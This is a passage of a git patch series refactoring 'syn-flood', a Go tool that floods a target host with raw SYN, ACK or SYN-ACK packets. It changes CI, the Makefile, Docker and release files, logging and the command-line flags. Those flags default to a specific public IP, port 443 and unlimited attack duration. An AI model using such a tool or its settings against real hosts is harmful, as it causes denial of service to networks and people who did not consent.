h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= @@ -53,15 +51,15 @@ go.uber.org/automaxprocs v1.5.1/go.mod h1:BF4eumQw0P9GtnuxxovUd06vwm1o18oMzFtK66 golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20220131195533-30dcbda58838/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220513210258-46612604a0f9 h1:NUzdAbFtCJSXU20AOXgeqaUwg8Ypg4MPYmL+d+rsB5c= -golang.org/x/crypto v0.0.0-20220513210258-46612604a0f9/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM= +golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20220513224357-95641704303c h1:nF9mHSvoKBLkQNQhJZNsc66z2UzAMUbLGjC95CF3pU0= -golang.org/x/net v0.0.0-20220513224357-95641704303c/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220826154423-83b083e8dc8b h1:ZmngSVLe/wycRns9MKikG9OWIEjGcGAkacif7oYQaUY= +golang.org/x/net v0.0.0-20220826154423-83b083e8dc8b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -71,25 +69,22 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220513210249-45d2b4557a2a h1:N2T1jUrTQE9Re6TFF5PhvEHXHCguynGhKjWVsIUt5cY= -golang.org/x/sys v0.0.0-20220513210249-45d2b4557a2a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220829200755-d48e67d00261 h1:v6hYoSR9T5oet+pMXwUWkbiVqx/63mlHjefrHmxwfeY= +golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.0.0-20220411215600-e5f449aeb171 h1:EH1Deb8WZJ0xc0WK//leUHXcX9aLE5SymusoTmMZye8= -golang.org/x/term v0.0.0-20220411215600-e5f449aeb171/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.0.0-20220722155259-a9ba230a4035 h1:Q5284mrmYTpACcm+eAKjKJH48BBwSyfJqmmGDTtT8Vc= +golang.org/x/term v0.0.0-20220722155259-a9ba230a4035/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= From 9f275821f8c1f5f45d9719d8f5af99ecc42bd50b Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Wed, 31 Aug 2022 00:25:17 +0300 Subject: [PATCH 07/22] refactor: refactor project structure with newly added features --- .github/workflows/pr.yml | 36 ++-- .github/workflows/push.yml | 47 ++---- .gitignore | 1 + .revive.toml | 36 ++++ Dockerfile.goreleaser | 6 - Makefile | 155 +++++++++++++----- README.md | 18 +- .../ci/.pre-commit-config.yaml | 0 banner.txt => build/ci/banner.txt | 0 .../ci/sonar-project.properties | 0 .../package/.goreleaser.yaml | 12 +- Dockerfile => build/package/Dockerfile | 3 +- build/package/Dockerfile.goreleaser | 7 + cmd/root.go | 40 +++-- go.mod | 4 + go.sum | 13 ++ hack/coverage.sh | 5 + internal/logging/logging.go | 32 ++++ internal/logging/logging_test.go | 13 ++ internal/options/options.go | 4 + internal/raw/raw.go | 20 ++- internal/raw/utils.go | 19 ++- internal/version/version.go | 31 ++++ internal/version/version_test.go | 15 ++ 24 files changed, 385 insertions(+), 132 deletions(-) create mode 100644 .revive.toml delete mode 100644 Dockerfile.goreleaser rename .pre-commit-config.yaml => build/ci/.pre-commit-config.yaml (100%) rename banner.txt => build/ci/banner.txt (100%) rename sonar-project.properties => build/ci/sonar-project.properties (100%) rename .goreleaser.yaml => build/package/.goreleaser.yaml (82%) rename Dockerfile => build/package/Dockerfile (84%) create mode 100644 build/package/Dockerfile.goreleaser create mode 100644 hack/coverage.sh create mode 100644 internal/logging/logging.go create mode 100644 internal/logging/logging_test.go create mode 100644 internal/version/version.go create mode 100644 internal/version/version_test.go diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index f6560a3..c5864b7 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -13,13 +13,12 @@ jobs: uses: actions/setup-go@v3 with: go-version: 1.19.x - - name: golangci-lint - uses: golangci/golangci-lint-action@v3 - with: - # version: latest - version: v1.46.1 + - name: Lint code + run: make -s lint + - name: Clean downloaded binaries + run: make -s clean - vet: + fmt: runs-on: ubuntu-latest steps: - name: Checkout @@ -28,20 +27,10 @@ jobs: uses: actions/setup-go@v3 with: go-version: 1.19.x - - name: Vet - run: make vet - - ineffassign: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - - name: Install Go - uses: actions/setup-go@v3 - with: - go-version: 1.19.x - - name: Run Ineffassign - run: make ineffassign + - name: Run fmt + run: make -s fmt + - name: Clean downloaded binaries + run: make -s clean test: # strategy: @@ -57,7 +46,7 @@ jobs: with: go-version: 1.19.x - name: Test - run: make test + run: make -s test codeql: runs-on: ubuntu-latest @@ -94,6 +83,9 @@ jobs: env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} + with: + args: > + -Dproject.settings=build/ci/sonar-project.properties - name: SonarQube Quality Gate check uses: sonarsource/sonarqube-quality-gate-action@master timeout-minutes: 5 @@ -113,4 +105,4 @@ jobs: - name: Checkout code uses: actions/checkout@v3 - name: Test - run: make build + run: make -s build diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index ec3540c..9f7f4ff 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -14,13 +14,12 @@ jobs: uses: actions/setup-go@v3 with: go-version: 1.19.x - - name: golangci-lint - uses: golangci/golangci-lint-action@v3 - with: - # version: latest - version: v1.46.1 + - name: Lint code + run: make -s lint + - name: Clean downloaded binaries + run: make -s clean - vet: + fmt: runs-on: ubuntu-latest steps: - name: Checkout @@ -29,20 +28,10 @@ jobs: uses: actions/setup-go@v3 with: go-version: 1.19.x - - name: Vet - run: make vet - - ineffassign: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - - name: Install Go - uses: actions/setup-go@v3 - with: - go-version: 1.19.x - - name: Run Ineffassign - run: make ineffassign + - name: Run fmt + run: make -s fmt + - name: Clean downloaded binaries + run: make -s clean test: # strategy: @@ -58,14 +47,13 @@ jobs: - name: Checkout code uses: actions/checkout@v3 - name: Test - run: make test + run: make -s test codeql: runs-on: ubuntu-latest needs: - lint - - vet - - ineffassign + - fmt - test strategy: fail-fast: false @@ -87,8 +75,7 @@ jobs: runs-on: ubuntu-latest needs: - lint - - vet - - ineffassign + - fmt - test steps: - uses: actions/checkout@v3 @@ -105,6 +92,9 @@ jobs: env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} + with: + args: > + -Dproject.settings=build/ci/sonar-project.properties - name: SonarQube Quality Gate check uses: sonarsource/sonarqube-quality-gate-action@master timeout-minutes: 5 @@ -114,8 +104,7 @@ jobs: build: needs: - lint - - vet - - ineffassign + - fmt - test strategy: matrix: @@ -129,7 +118,7 @@ jobs: - name: Checkout code uses: actions/checkout@v3 - name: Test - run: make build + run: make -s build tag: runs-on: ubuntu-latest @@ -180,7 +169,7 @@ jobs: uses: goreleaser/goreleaser-action@v2 with: version: latest - args: release --rm-dist + args: release --rm-dist --config build/package/.goreleaser.yaml env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAP_GITHUB_TOKEN: ${{ secrets.TAP_GITHUB_TOKEN }} diff --git a/.gitignore b/.gitignore index 0a71bbf..dc22639 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ .idea/ bin/ +.bin vendor/ diff --git a/.revive.toml b/.revive.toml new file mode 100644 index 0000000..6aa67c9 --- /dev/null +++ b/.revive.toml @@ -0,0 +1,36 @@ +ignoreGeneratedHeader = false +severity = "error" +confidence = 0.8 +errorCode = 1 + +# https://github.com/mgechev/revive#available-rules +[rule.atomic] +# [rule.blank-imports] # commented out because of automaxprocs blank import in cmd/root.go +[rule.bool-literal-in-expr] +[rule.confusing-results] +[rule.constant-logical-expr] +[rule.context-keys-type] +[rule.dot-imports] +[rule.empty-block] +[rule.error-naming] +[rule.error-return] +[rule.errorf] +[rule.get-return] +[rule.if-return] +[rule.increment-decrement] +[rule.indent-error-flow] +[rule.modifies-parameter] +[rule.modifies-value-receiver] +[rule.range-val-address] +[rule.range-val-in-closure] +[rule.range] +[rule.receiver-naming] +[rule.redefines-builtin-id] +[rule.string-of-int] +[rule.struct-tag] +[rule.superfluous-else] +[rule.time-naming] +[rule.unexported-return] +[rule.unreachable-code] +[rule.var-declaration] +[rule.waitgroup-by-value] diff --git a/Dockerfile.goreleaser b/Dockerfile.goreleaser deleted file mode 100644 index 9bf6691..0000000 --- a/Dockerfile.goreleaser +++ /dev/null @@ -1,6 +0,0 @@ -FROM alpine:latest - -ADD syn-flood /usr/local/bin/syn-flood - -USER root -ENTRYPOINT ["syn-flood"] diff --git a/Makefile b/Makefile index b1a00e8..b669bdc 100644 --- a/Makefile +++ b/Makefile @@ -1,55 +1,136 @@ -lint: - golangci-lint run +ERRCHECK_VERSION = latest +GOLANGCI_LINT_VERSION = latest +REVIVE_VERSION = latest +GOIMPORTS_VERSION = latest +INEFFASSIGN_VERSION = latest -fmt: - go fmt ./... +LOCAL_BIN := $(shell dirname $(realpath $(lastword $(MAKEFILE_LIST))))/.bin -vet: - go vet ./... +.PHONY: all +all: clean tools lint fmt test build -ineffassign: - go get github.com/gordonklaus/ineffassign +.PHONY: clean +clean: + rm -rf $(LOCAL_BIN) + +.PHONY: tools +tools: golangci-lint-install revive-install go-imports-install ineffassign-install errcheck-install + go mod tidy + +.PHONY: golangci-lint-install +golangci-lint-install: + GOBIN=$(LOCAL_BIN) go install github.com/golangci/golangci-lint/cmd/golangci-lint@$(GOLANGCI_LINT_VERSION) + +.PHONY: revive-install +revive-install: + GOBIN=$(LOCAL_BIN) go install github.com/mgechev/revive@$(REVIVE_VERSION) + +.PHONY: ineffassign-install +ineffassign-install: + GOBIN=$(LOCAL_BIN) go install github.com/gordonklaus/ineffassign@$(INEFFASSIGN_VERSION) + +.PHONY: errcheck-install +errcheck-install: + GOBIN=$(LOCAL_BIN) go install github.com/kisielk/errcheck@$(ERRCHECK_VERSION) + +.PHONY: lint +lint: tools run-lint + +.PHONY: run-lint +run-lint: lint-golangci-lint lint-revive + +.PHONY: lint-golangci-lint +lint-golangci-lint: + $(info running golangci-lint...) + $(LOCAL_BIN)/golangci-lint -v run ./... || (echo golangci-lint returned an error, exiting!; sh -c 'exit 1';) + $(info golangci-lint exited successfully!) + +.PHONY: lint-revive +lint-revive: + $(info running revive...) + $(LOCAL_BIN)/revive -formatter=stylish -config=.revive.toml -exclude ./vendor/... ./... || (echo revive returned an error, exiting!; sh -c 'exit 1';) + $(info revive exited successfully!) + +.PHONY: upgrade-direct-deps +upgrade-direct-deps: tidy + for item in `grep -v 'indirect' go.mod | grep '/' | cut -d ' ' -f 1`; do \ + echo "trying to upgrade direct dependency $$item" ; \ + go get -u $$item ; \ + done + go mod tidy go mod vendor - ineffassign ./... -test: - sudo go test ./... -race -v +.PHONY: tidy +tidy: + go mod tidy + +.PHONY: run-goimports +run-goimports: go-imports-install + for item in `find . -type f -name '*.go' -not -path './vendor/*'`; do \ + $(LOCAL_BIN)/goimports -l -w $$item ; \ + done + +.PHONY: go-imports-install +go-imports-install: + GOBIN=$(LOCAL_BIN) go install golang.org/x/tools/cmd/goimports@$(GOIMPORTS_VERSION) + +.PHONY: fmt +fmt: tools run-errcheck run-fmt run-ineffassign run-vet + +.PHONY: run-errcheck +run-errcheck: + $(info running errcheck...) + $(LOCAL_BIN)/errcheck ./... || (echo errcheck returned an error, exiting!; sh -c 'exit 1';) + $(info errcheck exited successfully!) + +.PHONY: run-fmt +run-fmt: + $(info running fmt...) + go fmt ./... || (echo fmt returned an error, exiting!; sh -c 'exit 1';) + $(info fmt exited successfully!) + +.PHONY: run-ineffassign +run-ineffassign: + $(info running ineffassign...) + $(LOCAL_BIN)/ineffassign ./... || (echo ineffassign returned an error, exiting!; sh -c 'exit 1';) + $(info ineffassign exited successfully!) + +.PHONY: run-vet +run-vet: + $(info running vet...) + go vet ./... || (echo vet returned an error, exiting!; sh -c 'exit 1';) + $(info vet exited successfully!) + +.PHONY: test +test: tidy + $(info starting the test for whole module...) + go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) + +.PHONY: test-with-coverage +test-with-coverage: tidy + go test ./... -race -coverprofile=coverage.txt -covermode=atomic -coverage: - sudo go test ./... -race -coverprofile=coverage.txt -covermode=atomic +.PHONY: update +update: tidy + go get -u ./... -build: - go build -o bin/main main.go +.PHONY: build +build: tidy + $(info building binary...) + go build -o bin/main main.go || (echo an error while building binary, exiting!; sh -c 'exit 1';) + $(info binary built successfully!) -run: - sudo /usr/local/go/bin/go run main.go +.PHONY: run +run: tidy + go run main.go +.PHONY: cross-compile cross-compile: - # 32-Bit Systems - # FreeBDS GOOS=freebsd GOARCH=386 go build -o bin/main-freebsd-386 main.go - # MacOS GOOS=darwin GOARCH=386 go build -o bin/main-darwin-386 main.go - # Linux GOOS=linux GOARCH=386 go build -o bin/main-linux-386 main.go - # Windows GOOS=windows GOARCH=386 go build -o bin/main-windows-386 main.go - # 64-Bit - # FreeBDS GOOS=freebsd GOARCH=amd64 go build -o bin/main-freebsd-amd64 main.go - # MacOS GOOS=darwin GOARCH=amd64 go build -o bin/main-darwin-amd64 main.go - # Linux GOOS=linux GOARCH=amd64 go build -o bin/main-linux-amd64 main.go - # Windows GOOS=windows GOARCH=amd64 go build -o bin/main-windows-amd64 main.go - -upgrade-direct-deps: - for item in `grep -v 'indirect' go.mod | grep '/' | cut -d ' ' -f 1`; do \ - echo "trying to upgrade direct dependency $$item" ; \ - go get -u $$item ; \ - done - go mod tidy - go mod vendor - -all: test build run diff --git a/README.md b/README.md index 78bf930..6dcc0e7 100644 --- a/README.md +++ b/README.md @@ -36,11 +36,15 @@ If you still get **"too many open files"** error, try increasing the value that ## Configuration syn-flood can be customized with several command line arguments: ``` ---host string Provide public ip or DNS of the target ---port int Provide reachable port of the target ---payloadLength int Provide payload length in bytes for each packet ---floodType string Provide the attack type. Proper values are: syn, ack, synack ---floodDurationSeconds int64 Provide the duration of the attack in seconds, -1 for no limit, defaults to -1 +Flags: + --floodDurationSeconds int Provide the duration of the attack in seconds, -1 for no limit, defaults to -1 (default -1) + --floodType string Provide the attack type. Proper values are: syn, ack, synack (default "syn") + -h, --help help for syn-flood + --host string Provide public ip or DNS of the target (default "213.238.175.187") + --payloadLength int Provide payload length in bytes for each SYN packet (default 1400) + --port int Provide reachable port of the target (default 443) + -v, --verbose verbose output of the logging library (default false) + --version version for syn-flood ``` > To be able to run **syn-flood** with unlimited time range, you should also increase your operating system open file @@ -76,14 +80,14 @@ $ docker run bilalcaliskan/syn-flood:latest ## Development This project requires below tools while developing: -- [Golang 1.17](https://golang.org/doc/go1.17) +- [Golang 1.19](https://golang.org/doc/go1.19) - [pre-commit](https://pre-commit.com/) - [golangci-lint](https://golangci-lint.run/usage/install/) - required by [pre-commit](https://pre-commit.com/) - [gocyclo](https://github.com/fzipp/gocyclo) - required by [pre-commit](https://pre-commit.com/) After you installed [pre-commit](https://pre-commit.com/), simply run below command to prepare your development environment: ```shell -$ pre-commit install +$ pre-commit install -c build/ci/.pre-commit-config.yaml ``` ## References diff --git a/.pre-commit-config.yaml b/build/ci/.pre-commit-config.yaml similarity index 100% rename from .pre-commit-config.yaml rename to build/ci/.pre-commit-config.yaml diff --git a/banner.txt b/build/ci/banner.txt similarity index 100% rename from banner.txt rename to build/ci/banner.txt diff --git a/sonar-project.properties b/build/ci/sonar-project.properties similarity index 100% rename from sonar-project.properties rename to build/ci/sonar-project.properties diff --git a/.goreleaser.yaml b/build/package/.goreleaser.yaml similarity index 82% rename from .goreleaser.yaml rename to build/package/.goreleaser.yaml index 9c1e76b..b28d2d3 100644 --- a/.goreleaser.yaml +++ b/build/package/.goreleaser.yaml @@ -13,6 +13,10 @@ before: archives: - replacements: amd64: x86_64 + files: + - build/ci/banner.txt + - README.md + - LICENSE builds: - id: binary @@ -23,7 +27,7 @@ builds: - amd64 binary: syn-flood ldflags: - - -s -w -X github.com/bilalcaliskan/syn-flood/cmd.GitVersion={{ .Version }} -X github.com/bilalcaliskan/syn-flood/cmd.gitCommit={{ .ShortCommit }} -X github.com/bilalcaliskan/syn-flood/cmd.buildDate={{ .CommitDate }} + - -s -w -X github.com/bilalcaliskan/syn-flood/internal/version.gitVersion={{ .Version }} -X github.com/bilalcaliskan/syn-flood/internal/version.gitCommit={{ .ShortCommit }} -X github.com/bilalcaliskan/syn-flood/internal/version.buildDate={{ .CommitDate }} main: ./main.go dockers: @@ -34,6 +38,8 @@ dockers: goos: linux goarch: amd64 use: docker + extra_files: + - build/ci/banner.txt build_flag_templates: - --pull - --platform=linux/amd64 @@ -49,13 +55,10 @@ dockers: brews: - name: syn-flood tap: - # The token determines the release type (Github/Gitlab). owner: bilalcaliskan name: homebrew-tap token: "{{ .Env.TAP_GITHUB_TOKEN }}" folder: Formula - # Brew fails from multiple 32-bit arm versions. - # Specify which version should be used. goarm: 6 homepage: https://github.com/bilalcaliskan/syn-flood license: apache-2.0 @@ -74,6 +77,7 @@ changelog: - '^test:' - '^ci:' - '^build:' + - '^style:' - 'README' - '^Merge branch' - '^Merge pull request' diff --git a/Dockerfile b/build/package/Dockerfile similarity index 84% rename from Dockerfile rename to build/package/Dockerfile index 3cb0eee..1feeaff 100644 --- a/Dockerfile +++ b/build/package/Dockerfile @@ -2,7 +2,7 @@ FROM golang:1.17-alpine as builder WORKDIR /app -COPY . . +COPY ../.. . RUN go mod vendor RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o bin/main main.go @@ -11,6 +11,7 @@ FROM alpine:latest WORKDIR /opt/ COPY --from=builder /app/bin/main . +COPY --from=builder /app/build/ci/banner.txt . USER root CMD ["./main"] diff --git a/build/package/Dockerfile.goreleaser b/build/package/Dockerfile.goreleaser new file mode 100644 index 0000000..b1825c4 --- /dev/null +++ b/build/package/Dockerfile.goreleaser @@ -0,0 +1,7 @@ +FROM alpine:latest + +ADD syn-flood /usr/local/bin/syn-flood +ADD build/ci/banner.txt /usr/local/banner.txt + +USER root +ENTRYPOINT ["syn-flood", "--bannerFilePath", "/usr/local/banner.txt"] diff --git a/cmd/root.go b/cmd/root.go index cf696c2..89206f2 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -2,21 +2,28 @@ package cmd import ( "fmt" + "github.com/bilalcaliskan/syn-flood/internal/logging" "github.com/bilalcaliskan/syn-flood/internal/options" "github.com/bilalcaliskan/syn-flood/internal/raw" + "github.com/bilalcaliskan/syn-flood/internal/version" "github.com/dimiro1/banner" "github.com/spf13/cobra" - "io/ioutil" - "log" + "go.uber.org/zap" "os" "strings" "time" ) +var ( + opts *options.SynFloodOptions + ver = version.Get() + logger = logging.GetLogger() +) + // init function initializes the cmd module func init() { - opts := options.GetSynFloodOptions() - + opts = options.GetSynFloodOptions() + // 213.238.175.187 rootCmd.PersistentFlags().StringVarP(&opts.Host, "host", "", "213.238.175.187", "Provide public ip or DNS of the target") rootCmd.PersistentFlags().IntVarP(&opts.Port, "port", "", 443, @@ -27,23 +34,36 @@ func init() { "Provide the attack type. Proper values are: syn, ack, synack") rootCmd.PersistentFlags().Int64VarP(&opts.FloodDurationSeconds, "floodDurationSeconds", "", -1, "Provide the duration of the attack in seconds, -1 for no limit, defaults to -1") + rootCmd.Flags().StringVarP(&opts.BannerFilePath, "bannerFilePath", "", "build/ci/banner.txt", + "relative path of the banner file") + rootCmd.Flags().BoolVarP(&opts.VerboseLog, "verbose", "v", false, "verbose output of the logging library (default false)") + + if err := rootCmd.Flags().MarkHidden("bannerFilePath"); err != nil { + logger.Fatal("fatal error occured while hiding flag", zap.Error(err)) + } } var ( // rootCmd represents the base command when called without any subcommands rootCmd = &cobra.Command{ - Use: "syn-flood", - Short: "A simple flooding tool written with Golang", + Use: "syn-flood", + Short: "A simple flooding tool written with Golang", + Version: ver.GitVersion, Long: `This project is developed with the objective of learning low level network operations with Golang. It starts a syn flood attack with raw sockets. Please do not use that tool with devil needs. `, Run: func(cmd *cobra.Command, args []string) { - opts := options.GetSynFloodOptions() + if opts.VerboseLog { + logging.Atomic.SetLevel(zap.DebugLevel) + } + shouldStop := make(chan bool) go func() { if err = raw.StartFlooding(shouldStop, opts.Host, opts.Port, opts.PayloadLength, opts.FloodType); err != nil { - log.Fatalf("an error occured on flooding process: %s", err.Error()) + fmt.Println() + logger.Error("an error occurred on flooding process", zap.String("error", err.Error())) + os.Exit(1) } }() @@ -58,7 +78,7 @@ Please do not use that tool with devil needs. for { select { case <-shouldStop: - fmt.Printf("\nshouldStop channel received a signal, stopping\n") + logger.Info("shouldStop channel received a signal, stopping") return default: continue @@ -72,7 +92,7 @@ Please do not use that tool with devil needs. // Execute adds all child commands to the root command and sets flags appropriately. // This is called by main.main(). It only needs to happen once to the rootCmd. func Execute() { - bannerBytes, _ := ioutil.ReadFile("banner.txt") + bannerBytes, _ := os.ReadFile("banner.txt") banner.Init(os.Stdout, true, false, strings.NewReader(string(bannerBytes))) err := rootCmd.Execute() diff --git a/go.mod b/go.mod index a846fce..a1eed20 100644 --- a/go.mod +++ b/go.mod @@ -5,10 +5,12 @@ go 1.19 require ( github.com/dimiro1/banner v1.1.0 github.com/google/gopacket v1.1.19 + github.com/pkg/errors v0.9.1 github.com/schollz/progressbar/v3 v3.9.0 github.com/spf13/cobra v1.5.0 github.com/stretchr/testify v1.8.0 go.uber.org/automaxprocs v1.5.1 + go.uber.org/zap v1.23.0 golang.org/x/net v0.0.0-20220826154423-83b083e8dc8b ) @@ -23,6 +25,8 @@ require ( github.com/pmezard/go-difflib v1.0.0 // indirect github.com/rivo/uniseg v0.3.4 // indirect github.com/spf13/pflag v1.0.5 // indirect + go.uber.org/atomic v1.10.0 // indirect + go.uber.org/multierr v1.8.0 // indirect golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 // indirect golang.org/x/sys v0.0.0-20220829200755-d48e67d00261 // indirect golang.org/x/term v0.0.0-20220722155259-a9ba230a4035 // indirect diff --git a/go.sum b/go.sum index 66891a4..72176ea 100644 --- a/go.sum +++ b/go.sum @@ -1,3 +1,4 @@ +github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8= github.com/common-nighthawk/go-figure v0.0.0-20200609044655-c4b36f998cf2/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w= github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ= github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w= @@ -27,6 +28,8 @@ github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4 github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod 